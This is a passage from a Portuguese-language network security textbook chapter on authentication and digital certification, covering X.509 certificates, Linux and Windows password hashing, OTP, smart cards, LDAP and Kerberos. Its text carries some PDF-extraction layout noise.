sobre cada modo de Cipher-Block Chaining (PCBC), Cipher Feedback (CFB), Output Feedback (OFB) e Counter (CTR).
operação, consulte o
livro Applied
Dessa forma, em aplicações em que temos pressa em enviar os dados, usamos o stream
Criptography,
de Bruce Schneier. cipher, que realiza a cifragem a nível de bit, de modo que não há a necessidade de aguardar
a formação de um bloco. Alguns exemplos de cifragem stream são RC4 e A5/1 (usado em
redes GSM de telefonia celular).

A seguir veremos algumas aplicações de criptografia bastante utilizadas.

Exercício de fixação 2 e
Capítulo 6 - Autenticação, Autorização e Certificação Digital
Criptografia
Explique a criptografia assimétrica.

Exercício de fixação 3 e
Algoritmos Hash
O que são e para que servem os algoritmos hash?

127
Certificados digitais
O coração da especificação do esquema X.509 é a associação de certificados de chaves
públicas a cada usuário do diretório. Esses certificados digitais devem ser gerados por uma
Autoridade Certificadora (AC) confiável e armazenados no servidor de diretório. Esse arma-
zenamento pode ser feito pelo AC e pelo usuário. Dessa forma, o servidor de diretório não é
responsável pela criação desses certificados de chave pública, mas apenas provê fácil acesso
aos certificados de usuários.

Obtendo certificado de usuário


A ICP (Infraestrutura de Chave Pública) é construída de forma hierárquica, onde a AC certifi-
cadora Raiz concede permissão para uma AC e permissão de emissão de certificados.
A figura seguinte ilustra um exemplo de hierarquia de AC utilizada no ICP-Brasil.

Comitê gestor AC Raiz

AC PR AC Serasa AC Certsign AC SRF AC Caixa Figura 6.3


Hierarquia de AC.

O certificado de usuário é gerado por sistema de Autoridade Certificadora, que emite a


chave pública e privada do certificado. A chave pública pode ser armazenada em um reposi-
tório de diretórios e a chave privada fica sob a guarda do usuário.

Existem várias implementações de PKI (Public Key Infrastructure), ou Infraestrutura de


Chaves Públicas, comerciais e de software livre:

11 Microsoft Windows 2008 Server – Certificate Autority.


w
11 Microsoft Public Key Infrastructure (PKI) for Windows Server 2003.
Saiba mais
11 Projeto de software livre OpenCA PKI.
Informações sobre a
Existe ainda um projeto educacional de infraestrutura de chaves públicas, com o objetivo de ICP-Brasil podem ser
prover uma ICP para as universidades brasileiras. Informações sobre esse projeto podem obtidas em:
http://www.iti.gov.br
ser encontradas em: http://www.rnp.br/servicos/icpedu.html

A figura a seguir ilustra o processo de geração de um certificado.


Segurança de Redes e Sistemas

128
1

E 3

Figura 6.4
Processo de
geração de
um certificado.
4

1. Certificado não assinado: contém o ID e a chave pública do usuário.

2. Geração do código hash do certificado não assinado.

3. Código hash encriptado com a chave privada da AC para formar a assinatura.

4. Certificado assinado: recipiente pode verificar a assinatura usando a chave pública da AC.

Revogando o certificado do usuário


No momento da geração do certificado digital, é necessário indicar o período de sua vali-
dade. Dessa forma, se por algum motivo um certificado necessite de ser cancelado antes da
data final de validade, esse certificado será incluído em uma base de certificados revo-
gados. A Infraestrutura de Chaves Públicas disponibiliza essa base para que, no processo
de validação de um certificado, esse serviço de validação consulte a base, antes de permitir
ou negar determinado acesso. Manter essa base atualizada e garantir que as aplicações a
estejam acessando é mais um dos desafios do administrador de segurança da rede.

Exercício de fixação 4 e

Capítulo 6 - Autenticação, Autorização e Certificação Digital


Certificados digitais
Explique o que são certificados digitais.

Gerenciamento de senhas
11 Sistemas de senhas Linux. q
11 Sistemas de senhas Windows.

22 Hash LM – Lan Manager.

22 Hash NTLM.

11 Administrando as senhas.

129
A primeira fronteira de proteção contra intrusos é o sistema de senhas. Praticamente todos
os sistemas multiusuários utilizam um mecanismo de autenticação onde o usuário é indu-
zido a entrar com o identificador (ID) e uma senha secreta. A senha serve para autenticar o
ID do usuário, liberando ou não o acesso ao sistema. O ID é utilizado para:

11 Determinar se o usuário está autorizado a obter acesso ao sistema (autenticação).


Em alguns sistemas específicos, apenas usuários previamente cadastrados terão per-
missão de acesso.

11 O ID determina o nível de acesso concedido a um usuário específico (autorização). Alguns


usuários, por exemplo, podem ter acesso de administração do sistema, enquanto outros
terão acesso apenas de operação.

Sistema de senhas Linux


11 Ao criar um usuário no sistema Linux, uma senha é associada ao ID do usuário. q
11 A senha é manipulada pela função crypt().

11 A conta do usuário é armazenada no arquivo /etc/passwd.

11 A senha é armazenada no arquivo /etc/shadow.

Garantir o uso de senhas fortes por parte do usuário é uma difícil tarefa do administrador
do sistema, em qualquer ambiente operacional. Vamos analisar como funciona o sistema de
senhas em um ambiente Unix. Quando um usuário é criado no sistema, uma senha é asso-
ciada ao seu ID. Essa senha é manipulada pela função crypt(), que pode trabalhar com crip-
tografia baseada em DES, MD5 ou SHA, para geração do Hash da senha e do SALT que será
armazenado no arquivo de senhas do sistema, normalmente armazenado em /etc/shadow.
A cifragem das senhas permite um nível adicional de proteção, visto que mesmo que um
atacante tenha acesso ao arquivo de senhas, terá de realizar um ataque de força bruta no
arquivo de senhas para tentar descobrir as senhas dos usuários do sistema.
Segurança de Redes e Sistemas

130
Salt Password Password File
User id salt E (pwd, [salt, 0])
12 bits 56 bits

Load
crypt (3)
11 characters

(a) Loading a new password

User id Password File


User id salt E (pwd, [salt, 0])

Salt
Select Password

Figura 6.5 crypt (3)


Senhas Linux.
Fonte: Cryptography
and Network Secu-
rity Principles and
Practices. Stallings, Compare
William. Prentice
Hall, 2005. (b) Verifying a password

Valor do SALT
O SALT é gerado no momento em que a senha é criada, e guardado em texto claro no

Capítulo 6 - Autenticação, Autorização e Certificação Digital


arquivo de senhas.

Objetivos do SALT: q
11 Evitar que senhas duplicadas sejam visualizadas no arquivo de senhas. Mesmo que
mais de um usuário tenha escolhido a mesma senha, o valor de SALT será diferente,
resultando em valores de Hash diferentes.

11 Aumentar o tamanho da senha, sem a necessidade de o usuário lembrar de todo o


comprimento adicional da senha, assim dificultando a tarefa de sistemas adivinha-
dores de senha.

11 Impedir o uso de uma implementação que utilize o DES em hardware, minimizando a


possibilidade de ataques de descoberta da senha por força bruta.

Quando um usuário Unix vai realizar o processo de login no sistema, fornece o ID do usuário
e a senha. O sistema utiliza o ID do usuário para varrer o arquivo de usuários /etc/passwd
para encontrar o UID (número identificador do usuário no sistema) e em seguida consultar o

131
arquivo de senhas para encontrar o SALT do usuário e o Hash. Com essas informações
disponíveis, a função crypt() é chamada, a senha é digitada pelo usuário e passada junto
com seu respectivo SALT. Se o Hash gerado pela função for igual ao Hash do arquivo de
senhas, o acesso ao sistema é concedido.

O arquivo /etc/shadow possui permissão de leitura apenas pelo administrador do sistema,


formando uma barreira adicional de proteção, visto que os usuários comuns do sistema não
possuem acesso de leitura a esse arquivo, e consequentemente não possuem acesso às
senhas cifradas dos usuários.

Exercício de fixação 5 e
Sistema de senhas Linux
Para que é utilizado o ID?

Exercício de fixação 6 e
SALT
Quais os objetivos do SALT?

Sistema de senhas Windows


Registros de usuário Windows (NT4, 2000, XP e 2003 Server) são armazenados no banco de
dados do Security Account Manager (SAM), do gerenciador de contas de segurança ou no
banco de dados do Active Directory. Cada conta de usuário está associada a duas senhas: a
senha compatível com o LAN Manager e a senha do Windows. Cada senha é criptografada e
armazenada no banco de dados SAM ou no banco de dados do Active Directory.

Hash LM
O Hash LM (Lan Manager) não é exatamente um Hash, sendo gerado como resultado de um
processo de manipulação de strings, e obtido com os seguintes passos:

1. Converte todos os caracteres minúsculos da senha em maiúsculos.

2. Preenche a senha com caracteres nulos até que ela tenha exatamente 14 caracteres.
Segurança de Redes e Sistemas

3. Divide a senha em duas partes de sete caracteres.

4. Usa cada parte separadamente como uma chave DES para criptografar uma
sequência específica.

5. Encadeia os dois textos criptografados em uma sequência com 128 bits e


armazena o resultado.

Como resultado do algoritmo usado para gerar o Hash LM, o Hash é muito fácil de ser que-
brado. Primeiro, mesmo uma senha com mais de oito caracteres pode ser atacada em duas

132
partes distintas. Depois, todo o conjunto de caracteres minúsculos pode ser ignorado.
Isso significa que a maioria das ferramentas para quebrar senhas começa quebrando os
Hashes LM e depois simplesmente varia os caracteres alfabéticos na senha quebrada para
gerar senhas que fazem distinção entre maiúsculas e minúsculas.

Hash NTLM
Solução proprietária da Microsoft que abriu a especificação para parceiros implemen- q
tarem soluções integradas.Hash Unicode.

11 Hash MD4.

11 Mais resistente a ataques de força bruta do que o Hash LM.O Hash NTLM também é
conhecido como Hash Unicode, porque dá suporte a todo o conjunto de caracteres
Unicode. O Hash NTLM é calculado pegando-se a senha no formato de texto claro e
gerando um Hash Message Digest 4 (MD4) a partir dele. O Hash MD4 está realmente
armazenando no banco de dados do Active Directory ou no banco de dados do Secu-
rity Accounts Manager (SAM) ou Gerenciador de Contas de Segurança. O Hash NTLM
é muito mais resistente a ataques de força bruta do que o Hash LM.

Administrando as senhas
11 Treinamento do usuário. q
11 Requisitos de complexidade.

11 Tempo de duração da senha.

11 Análise de dicionário.

Se um usuário mal-intencionado conseguir algum tipo de acesso ao sistema, como, por


exemplo, pelo uso de uma conta de convidado ou de sistema desprotegida de senha ou com
senha padrão, ele poderá conseguir uma listagem dos usuários válidos do sistema e dessa
forma tentar um ataque de dicionário. Como a maioria dos usuários utilizam senhas com
palavras existentes em dicionários, será fácil conseguir quebrar essa primeira barreira de
segurança do sistema.

Use senhas longas, combinando letras maiúsculas e minúsculas, números e caracteres


especiais, dificultando os ataques.

Capítulo 6 - Autenticação, Autorização e Certificação Digital


Esse usuário mal-intencionado poderá descobrir as senhas do sistema se conseguir enviar
a base de dados das senhas para uma máquina remota e nessa máquina remota utilizar um
programa de quebra de senhas, com um dicionário. Dependendo da quantidade de senhas pre-
sentes no arquivo e do poder computacional disponível para o usuário mal-intencionado, este
pode conseguir quebrar um número grande de senhas em um pequeno intervalo de tempo.

Para proteger as contas dos usuários do sistema, o administrador pode minimizar os efeitos
dessas ferramentas utilizando práticas recomendadas para o gerenciamento de senhas,
como veremos a seguir.

Treinamento do usuário
Reforçar aos usuários a importância de manter suas senhas protegidas de amigos e
familiares (especialmente crianças), que poderiam divulgá-las a outras pessoas menos
confiáveis. As senhas que você precisa compartilhar, como a senha de uma conta conjunta
on-line, são as únicas exceções. Não anotar senhas em agendas, no monitor do computador,
embaixo do teclado etc.

133
Requisitos de complexidade
Uma boa senha deve ter um número mínimo de caracteres, deve utilizar caracteres de
diversos conjuntos (maiúsculas, minúsculas, números e símbolos), não deve constar em
dicionários e deve ser fácil de lembrar. É importante que o administrador seja sensível à
dificuldade dos usuários de lembrar senhas, de modo que ele não aplique regras muito
restritivas, que possam forçar os usuários a anotar as senhas. A troca de senhas a cada mês
ou requisitos de complexidade muito severos são alguns exemplos de regras que podem
complicar a vida do usuário.

Exercício de fixação 7 e
Sistema de senhas no Windows
Explique onde são armazenadas as senhas no Windows.

Sistemas de Autenticação Única


Com o uso cada vez mais intenso de sistemas informatizados para soluções comerciais, novos
sistemas vão surgindo em implementações que automatizam os processos do negócio. A imple-
mentação de um mecanismo único de autenticação é desejável para simplificar a gerência de
usuários e senhas dos clientes dos sistemas, assim como para simplificar e aumentar a eficiência
do gerenciamento das contas e suas respectivas senhas pelo administrador.

Nesse cenário, é importante que as soluções informatizadas possam integrar uma solução
de autenticação única para todos os sistemas. Dessa forma, um usuário, uma vez autenti-
cado, deverá ter acesso a todos os sistemas que tiver autorização para acessar.

Existem várias soluções de implementação de SSO, como NTLM, uma solução proprietária
da Microsoft que abriu a especificação para parceiros implementarem soluções integradas.
Outros sistemas baseado em Kerberos são Smart Card e OTP Token.

OTP
One Time Passwords (OTP) é um mecanismo que utiliza senhas descartáveis. Para cada
acesso é gerada uma senha que logo em seguida perde o valor. Assim, se a senha de um
usuário for capturada, não servirá para comprometer o sistema. Existem várias maneiras
de gerar as senhas, como, por exemplo, o uso de calculadoras Java, que podem estar em
sistemas embarcados como um PDA ou um celular. O problema dessas implementações é o
fato de o usuário ter a necessidade de estar perto da calculadora para ter acesso ao sistema.
Segurança de Redes e Sistemas

S/Key
Sistema de autenticação OTP desenvolvido para sistemas operacionais Unix e q
derivados.O usuário provê um segredo W.

11 Uma função Hash é aplicada n vezes em cima de W.

11 O usuário obtém n senhas correspondentes a cada passagem da função Hash.

134
Sistema de autenticação OTP desenvolvido para sistemas operacionais Unix e derivados, como
o caso do Linux. A proposta do S/Key é obter um conjunto de senhas em que cada uma só pode
ser utilizada uma vez. O processo de inicialização do S/Key funciona da seguinte forma:

1. O usuário provê um segredo W, a base de todo o processo, que nunca pode


ser comprometido.

2. Uma função Hash é aplicada n vezes em cima de W, concatenando com um elemento


randômico criado durante a inicialização.

3. O usuário obtém n senhas correspondentes a cada passagem da função Hash. Dessa


d forma, o usuário utiliza a senha n para a primeira autenticação, a senha n-1 para a segunda e
assim sucessivamente, até esgotar as senhas, quando o processo deverá ser reinicializado.
A lista de palavras
e o funcionamento Considerando que a partir de n é inviável deduzir n-1 (envolve reverter uma função Hash),
do S/Key constam na
RFC 1760. caso n seja comprometida, ela já não mais poderá ser usada, pois cada senha só é usada
uma vez. Para facilitar a digitação por parte do usuário, os bytes de cada Hash são conver-
tidos para palavras, utilizando uma tabela de conversão padronizada.

Smart Card
O Smart Card, ou Cartão Inteligente, é um cartão de plástico, semelhante a um cartão de
crédito, com um microchip embutido na superfície. O conceito de Smart Card foi patenteado
pelo Dr. Kunitaka Arimura no Japão, em 1970.

Embora existam muitos tipos, qualquer Smart Card pode ser classificado quanto à forma q
de conexão com a leitora:

11 Por contato físico: entende-se a inserção do cartão na leitora, onde os contatos


dos terminais do cartão com os da leitura permitem a troca de dados entre ambos.
É importante salientar que a maioria dos Smart Cards possuem terminais para esse
tipo de conexão.

11 Sem contato físico: se refere aos cartões que não necessitam de contato físico com
a leitora, o que indica que a conexão é feita através de ondas eletromagnéticas. A
ausência do ato de inserção traz benefícios, como economia de tempo e preservação
dos terminais do cartão. Um exemplo interessante deste tipo de cartão são os passa-
portes eletrônicos.

Capítulo 6 - Autenticação, Autorização e Certificação Digital


Por serem muito mais baratos, os cartões por contato ainda são os mais utilizados, ofere-
cendo um nível razoável de segurança e abrangendo uma ampla gama de aplicações. Os
cartões por contato são também chamados de Cartões de Memória (Memory Cards). Os
Smart Cards que não fazem uso de contato físico são tipicamente Cartões Microproces-
sados. Embora não seja do escopo dos cartões de identificação, a modalidade de trans-
missão sem contato permite que o cartão propriamente dito seja apenas um portador do
chip, ou seja, a presença do chip em anéis, relógios, braceletes e tornozeleiras ainda não
quebra o conceito de Smart Card.

Os cartões inteligentes por contato físico podem ser utilizados com leitores conectados
em um computador pessoal, a fim de autenticar um usuário. Softwares de navegação na
internet também podem utilizar a tecnologia do Smart Card para complementar SSL (Secure
Sockets Layer), utilizado para melhorar a segurança em transações na internet. Como o
cartão inteligente possui arquitetura de hardware e software, ele interage com o sistema,
permitindo ou negando acesso quando necessário. Ele pode ser programado, por exemplo,

135
para que após cinco tentativas de autenticação sem sucesso, o conteúdo da memória seja
destruído, inutilizando-o.

Hoje em dia é muito comum Smart Cards nos nossos cartões de crédito, em chips de
celulares GSM ou em cartões emitidos pelo governo, como o e-CPF e o e-CNPJ, além do
recém-anunciado Registro de Identificação Civil (RIC). Nesses casos, o cartão contém um
certificado digital padrão ICP-Brasil. Os certificados digitais serão vistos em mais detalhes
na sessão 7. Em alguns desses cartões, existe um sistema complexo de proteção do material
criptográfico contido dentro do cartão, que se apaga caso o cartão seja aberto ou haja
erro na senha de acesso em um determinado número de vezes. Normalmente, as chaves
privadas nunca saem de dentro do cartão, que possui um chip capaz de realizar operações
criptográficas dentro do próprio cartão.

Servidores de diretório: LDAP


Banco de dados com informações descritivas, baseado em atributos e organizado em q
forma hierárquica (árvore) e não relacional (tabelas), otimizado para leitura e com certifi-
cação digital e baseado em entradas.

Uma entrada é um conjunto de atributos referenciado por Nome Distinto (DN) de forma
não ambígua. Cada atributo de entrada tem um tipo de valor, como por exemplo CN e ON.

LDAP é um protocolo (TCP/IP) cliente-servidor, utilizado para acessar um serviço de dire-


tório. Foi inicialmente usado como uma interface para o X.500, mas também pode ser usado X.500
com autonomia e com outros tipos de servidores de diretório. Atualmente tornou-se padrão Série de recomen-
e diversos programas já têm suporte a LDAP. Livros de endereços, autenticação, armazena- dações do ITU-T que
definem o serviço de
mento de certificados digitais (S/MIME) e de chaves públicas (PGP) são alguns dos exemplos diretório.
de onde o LDAP já é amplamente utilizado.

Serviço de diretório
Um diretório é como um banco de dados, que tende a conter informações descritivas,
baseadas em atributo, sendo organizado em forma hierárquica (árvore) e não relacional
(tabelas). A informação em um diretório é geralmente mais lida do que escrita, de modo que
normalmente os diretórios são otimizados para leitura. Como consequência, diretórios nor-
malmente não são usados para programar transações complexas ou esquemas de consultas
regulares em bancos de dados.

Diretórios são preparados para dar resposta rápida a um grande volume de consultas ou
operações de busca. Eles também podem ter a habilidade de replicar informações extensa-
mente; isso é usado para acrescentar disponibilidade e confiabilidade, enquanto reduzem o
tempo de resposta.

As recomendações do ITU-T X.509 são parte da série de recomendações X.500, que define
serviços de diretório. A ITU-T define que o diretório é um servidor ou um conjunto de servi- ITU-T
Segurança de Redes e Sistemas

dores distribuídos que mantêm a base de informações de usuários. Nessa base de informa- Setor de normatização
de telecomunicações,
ções estão contidos endereços de rede e outros atributos e informações de usuários.
responsável por
coordenar padroniza-
ções relacionadas a
telecomunicações da
União Internacional de
Telecomunicações.

136
Exercício de fixação 8 e
LDAP
Explique o que é o LDAP.

Exercício de fixação 9 e
Serviço de diretórios
O que é um serviço de diretório?

Tipos de informação
O modelo de serviço do diretório LDAP é baseado em entradas. Uma entrada é um conjunto
de atributos e é referenciada através de um nome distinto (DN). O DN é usado para referen-
ciar uma entrada de forma não ambígua. Cada um dos atributos de entrada tem um tipo e
um ou mais valores. Esses tipos geralmente são palavras mnemônicas, como CN para nome
comum, ou mail para endereço de correio eletrônico; existem RFCs que determinam essas
palavras, com os valores dependendo do tipo de atributo. Por exemplo, um atributo mail
pode conter o valor <usuario@dominio.com.br>. Um atributo fotoJpeg conterá uma fotografia.

Protocolo Kerberos
Protocolo de autenticação de rede desenvolvido em 1983 pelo MIT (Massachusetts Institute

l
of Technology), como parte de um projeto de segurança que visava produzir um ambiente
de TI seguro e amplamente distribuído pelo campus da universidade.
Saiba mais
Fazendo uso de criptografia de chave privada, provê autenticação em redes abertas
Na mitologia Grega, mediante uso de algoritmo de autenticação de três vias (TTP – Trusted Third Party), pro-

Capítulo 6 - Autenticação, Autorização e Certificação Digital


Kerberos era um posto por Needham e Schroeder. Todos os equipamentos envolvidos devem confiar
cachorro que possuía
três cabeças e era mutualmente no sistema de autenticação central provido pelo Kerberos. Esse conceito é
responsável por vigiar semelhante a um cartório no mundo real, ou seja, a sociedade confiará na assinatura de um
os portões de Hades,
tabelião para afirmar que os envolvidos realmente se identificaram (autenticaram) durante a
tendo como sua
principal missão evitar assinatura de um determinado contrato.
a entrada e saída de
pessoas ou de coisas Como o nome sugere, o Kerberos funciona, basicamente, como três componentes principais,
indesejáveis. um para cada função específica:

11 Ticket: tipo de certificado/token que informa com segurança, para todos os equipa-
mentos conectados ao sistema de autenticação, a identidade do usuário para quem o
ticket foi concedido.

11 Autenticador: uma credencial gerada pelo cliente com informações que são comparadas
com as informações do ticket, para garantir que o cliente que está apresentando o ticket
é o mesmo para o qual o ticket foi concedido.

137
11 Centro de distribuição de chaves: para acessar uma aplicação, o usuário obtém tem-
porariamente tickets válidos através do centro de distribuição de chaves que ratificam
os tickets com o autenticador. A aplicação examina o ticket e o autenticador quanto à
validade e concede acesso caso sejam válidos.

Explicando de uma forma mais simplificada, imagine um sistema de vendas de ingressos


para um filme de cinema com classificação para maiores de 18 anos. Para comprar o
ingresso, você deve ir então à bilheteria (centro de distribuição) para realizar o pagamento e
provar que você possui mais de 18 anos. Ao realizar essas atividades com sucesso, a bilhe-
teria vai lhe fornecer um ingresso (ticket) que você apresentará ao bilheteiro (autenticador),
assim que tentar entrar na sala do filme. O bilheteiro vai verificar se o ticket é verdadeiro
antes de lhe permitir entrar na sala de cinema.

Para o processo de autenticação são utilizados três servidores:

11 Servidor de Autenticação (Authentication Server – AS): responsável por receber um


pedido de autenticação de um usuário e verificar se a identidade desse usuário é autên-
tica. Sendo válida essa identidade, o AS fornece um ticket e uma chave de sessão, que vai
permitir o contato com outro servidor, o TGS.

11 Servidor de Concessão de Tickets (Ticket Granting Server – TGS): responsável por


fornecer tickets para serviços específicos requeridos pelo usuário. O contato com o TGS
é feito após a autenticação pelo AS. O usuário tem seu ticket avaliado e, uma vez validado
pelo TGS, recebe um novo ticket, agora para obter algum serviço disponível.

11 Servidor de Administração (KADM): servidor responsável por controlar as chaves secretas


(informações criptografadas). Antes de realizar o processo de autenticação, é preciso que o
usuário cadastre seus dados através do KADM, para que possua um login e uma senha.

Key Distribution Center (KDC)

Ba
nco de Dados

Ticket Granting Server Authentication Server


(TGS) (AS)
TG

EQ
S_
TG

_R
RE

EP
S_

AS
Q
R

_R
EP

AS

Figura 6.6
AP_REP
Processo de auten-
ticação
AP_REQ do Kerberos.
Segurança de Redes e Sistemas

Servidor de Fonte: http://www.


aplicação Cliente gta.ufrj.br.

Resumidamente, os seguintes passos são executados quando um usuário tentar acessar um


determinado serviço em um Application Server.

1. O usuário realiza uma autenticação em sua estação (utilizando usuário e senha, por exemplo).

2. O Cliente Kerberos então executa uma função hash sobre a senha digitada e isso se torna
a Chave Secreta do Cliente/Usuário (aqui chamada de K1).

138
3. O Cliente Kerberos envia uma mensagem em texto claro para o Authentication Server
(AS) contendo o Identificador do Usuário (nessa fase, não é enviada a chave K1 e/ou a
senha do usuário para o AS).

4. O AS gera a chave secreta (K1) utilizando a mesma função hash utilizada pelo usuário a
partir da senha do usuário encontrada no servidor de banco de dados (por exemplo, o
Active Directory no Windows Server).

5. O AS envia de volta ao cliente duas mensagens:

11 Mensagem A contendo a Chave de Sessão do TGS (K2) cifrada utilizando a chave K1


gerada no passo anterior.

11 Mensagem B contendo o TGT (Ticket-Granting-Ticket), que inclui a identificação do cliente,


endereço de rede do cliente, prazo de validade do ticket e a Chave de Sessão do cliente
TGS (K2). Todo o conteúdo do ticket TGT é criptografado usando a Chave Secreta TGS,
gerada pelo Servidor TGS e enviada de forma cifrada na Mensagem A.

6. O cliente recebe mensagens A e B e tenta decifrá-las utilizando a chave K1 e, após, tenta recu-
perar a Chave TGS da Sessão (k2), que está cifrada na mensagem A. Caso não consiga, fica
claro que o usuário não possui a chave secreta (k1) e, portanto, não deve ser autenticado.
d Kerberos no Windows
Saiba mais A implementação Kerberos do Windows foi implementada a partir do Windows 2000 Server,
onde passou a ser padrão no Active Directory, o serviço de diretórios da Microsoft. O Active
Mais informações
sobre o Kerberos Directory consiste em um diretório X.500 (LDAP), combinado com autenticação Kerberos.
podem ser encon- No Active Directory, o Kerberos substitui a autenticação NTLM, facilitando o uso de single
tradas na RFC 4120.
sign-on (SSO) e tornando a solução mais segura. Apesar de o Kerberos ser um protocolo
mais robusto, as senhas ainda são armazenadas em formato de Hash no diretório e podem
ser obtidas através de utilitários encontrados na internet, como o Cain & Abel, Pwdump e
Ophcrack. A figura a seguir mostra o funcionamento geral do Kerberos.

Key Distribution Center (KDC)

1. I am user Sam and need a Ticket to Get Ticket

Capítulo 6 - Autenticação, Autorização e Certificação Digital


2. Here is a TGT-If you can decrypt this Authentication Ticket Granting
response with your password hash Service Service
(AS) (TGS)

User logs in to gain 3. Here is my TGT, give me a Service Ticket


network access

4. Here is your Service Ticket Network


services
5. Here is my Service Ticket Authenticate me

Figura 6.7 6. Cliente/Server session


Kerberos
(Fonte: Cisco).

139
Acesso a serviços em uma rede
Sempre que um usuário tentar acessar um serviço na rede, o cliente Kerberos enviará para o
TGS o TGT que foi gerado pelo serviço de autenticação (KDS). O TGS vai gerar um ticket para
o serviço em particular que será utilizado pelo cliente. Esse funcionamento é detalhado nos
passos abaixo, que explicam o funcionamento do protocolo nessa situação:

1. Ao tentar acessar um serviço em um servidor, o cliente Kerberos envia duas mensagens


ao TGS.

11 Mensagem C: composta pelo TGT informado na Mensagem B do item anterior e o identifi-


cador do serviço que está sendo requisitado.

11 Mensagem D: autenticador, composto pelo identificador do cliente e de um período de


validade cifrado com a Chave de Sessão TGS do cliente (K2).

2. De posse das mensagens C e D, o servidor TGS tentará recuperar o TGT da Mensagem B


a partir da mensagem C. Ele vai decifrar a mensagem B utilizando a Chave de Sessão TGS
(K2) que ele gerou nos passos anteriores. Isso vai produzir uma Chave de Sessão TGS (k2),
que foi informada pelo cliente a qual ele vai comparar com sua Chave de Sessão TG (K2)
que ele possui associada ao cliente. Após isso, ele decifrará a mensagem D e, se tudo tiver
acontecido de forma correta, ele enviará ao cliente:

11 Mensagem E: Ticket Client-to-Server, que inclui o Identificador do Cliente, o endereço de


rede do cliente, um período de validade para a Session Key entre o cliente e o servidor
(K3), tudo cifrado, utilizando a chave secreta gerada para o serviço (k2).

11 Mensagem F: Chave Secreta entre cliente e servidor (k3) cifrada utilizando a chave TGS
gerada para o cliente.

3. De posse das mensagens E e F geradas pelo TGS, o cliente encaminha essas informa-
ções para o servidor responsável pelo serviço em que o usuário está tentando acesso,
enviando as mensagens:

11 Mensagem E: gerada no passo anterior, contendo o Ticket Client-to-Server cifrado utili-


zando a chave Secreta do Serviço (K3).

11 Mensagem G: uma nova mensagem de autenticação, incluindo o identificador do cliente e


um período de validade. Todas essas informações cifradas, utilizando a chave de sessão K3.

4. O servidor do serviço decifra o ticket utilizando sua própria chave secreta e recupera a
Chave de Sessão Cliente/Servidor (K3). Usando a chave de sessão K3, ele decifra a men-
sagem G e confirma a veracidade do processo de autenticação. Se tudo tiver acontecido
corretamente, o servidor do serviço envia uma mensagem para o cliente, confirmando sua
identidade e o período de validade informado pelo cliente na mensagem G, acrescido de 1.

5. O cliente, ao receber essa mensagem do servidor, verifica a autenticidade da mensagem


decifrando-a com a Chave de Sessão Cliente/Servidor (K3) e, também, se a hora está
Segurança de Redes e Sistemas

atualizada corretamente. Após isso, é iniciado então o acesso ao serviço solicitado.

Benefícios do Kerberos
Dentre os principais benefícios de se utilizar o Kerberos em redes de computadores,
podemos destacar:

11 Padrões baseados em autenticação robusta.

11 Amplo suporte ao sistema operacional.

140
11 Provê capacidade de Single Sign-On (SSO).

11 Senhas nunca percorrem a rede.

11 Senhas de difícil previsão.

11 Tickets de autenticação roubados não podem ser reutilizados.

Organização do Kerberos
O Kerberos oferece um mecanismo para autenticação mútua entre partes, antes de se
estabelecer efetivamente uma comunicação segura. O Kerberos usa o que é conhecido
como KDC (Key Distribution Center), para facilitar a distribuição segura de permissões e de
chaves simétricas dentro de uma rede. O KDC é executado como um serviço em um servidor
e mantém uma base de dados para todas as entidades de segurança dentro do chamado
Domínio Kerberos.

O Kerberos divide a rede nos chamados reinos (realms). Cada reino possui seu servidor de
autenticação e uma política de segurança própria, permitindo diferentes níveis de segu-
rança por reino. Essa divisão de reinos pode ser hierarquizada, fazendo com que cada área
da organização possua um reino local vinculado a um reino central.
Figura 6.8
Exemplo de auten-
ticação mútua para Administrativo Empresa 1 Internet Financeiro Empresa 1
acesso de serviços.

Por exemplo, para que o domínio “Administrativo Empresa1” consiga acessar serviços de
“Financeiro Empresa1” em um meio inseguro como a internet, basta que os servidores
Kerberos troquem chaves de segurança e se autentiquem mutuamente. Assim o usuário
autenticado em “Administrativo Empresa1” não necessita de outra autenticação para acessar
serviços em “Financeiro Empresa1”. Em uma rede Windows, o Kerberos funciona no
controlador de domínio e utiliza o Active directory para autenticar, efetivamente, todas as
entidades constantes nesse diretório.

Para mais informações sobre o funcionamento do protocolo Kerberos, consulte:

11 Related Requests For CommentsRFC 4120 – The Kerberos Network Authentication Service (V5).

11 RFC 4537 – Kerberos Cryptosystem Negotiation Extension.

11 RFC 4752 – The Kerberos V5 (GSSAPI) Simple Authentication and Security Layer

Capítulo 6 - Autenticação, Autorização e Certificação Digital


(SASL) Mechanism.

11 RFC 6111 – Additional Kerberos Naming Constraints.

11 RFC 6112 – Anonymity Support for Kerberos.

11 RFC 6113 – A Generalized Framework for Kerberos Pre-Authentication.

11 RFC 6251 – Using Kerberos Version 5 over the Transport Layer Security (TLS) Protocol.

Exercício de fixação 10 e
Kerberos
O que é Kerberos e como é utilizado?

141
Certificação digital
A recomendação X.509 define um framework para provimento de serviços de autenticação
de usuário do diretório X.500. O diretório também pode servir como um repositório de
certificados públicos de usuários do repositório. O X.509 define também alternativas de
protocolos de autenticação com base no uso de certificados digitais. A recomendação X.509 Assinatura digital
é baseada no uso de algoritmos criptográficos de chave pública e assinatura digital. Ela não Método de autenticação
explicita o uso de um algoritmo especificamente, mas recomenda o uso do RSA. dos algoritmos de
criptografia de chave
Autoridades certificadoras pública operando
em conjunto com uma
Existem várias implementações de Infraestrutura de Chave Pública (PKI) comerciais e função Hash, também
conhecida como função
de software livre: resumo.

11 Microsoft Windows 2008 Server – CertificateAutority.

11 Microsoft Public Key Infrastructure (PKI) for Windows Server 2003.

11 Projeto de software livre OpenCA PKI – PublicKeyInfrastructure.

Trilhas de auditoria
A análise dos eventos é uma atividade vital para identificar o que ou quem causou algo no
sistema. O processo de auditoria pode ser dividido em fases definidas na elaboração da
política de segurança. A auditoria em segurança da informação tem o papel de assegurar a
qualidade da informação e participar do processo de garantia quanto a possíveis e indesejá-
veis problemas de falha humana.

Trilha de auditoria é termo genérico para registro de uma sequência de atividades em um


sistema ou conjunto deles. A ideia básica da análise de trilhas de auditoria é, em primeiro
lugar, registrar e armazenar as atividades do sistema em uma sequência selecionada por
projetistas ou administradores com base nas políticas previamente definidas.

Uma auditoria é indispensável para o monitoramento relacionado à segurança de qualquer


aplicativo baseado em servidor, de servidores de e-mail a bancos de dados e servidores web.

Nos ambientes atuais que valorizam a segurança, uma trilha de auditoria confiável é uma
ferramenta valiosa e normalmente um requisito legal para determinadas indústrias. Por
exemplo, normas norte-americanas como a Sarbanes-Oxley e a HIPAA (Health Insurance
Portability Accountability Act) requerem trilhas de auditoria para determinados sistemas,
aplicativos e dados.

Geração dos dados
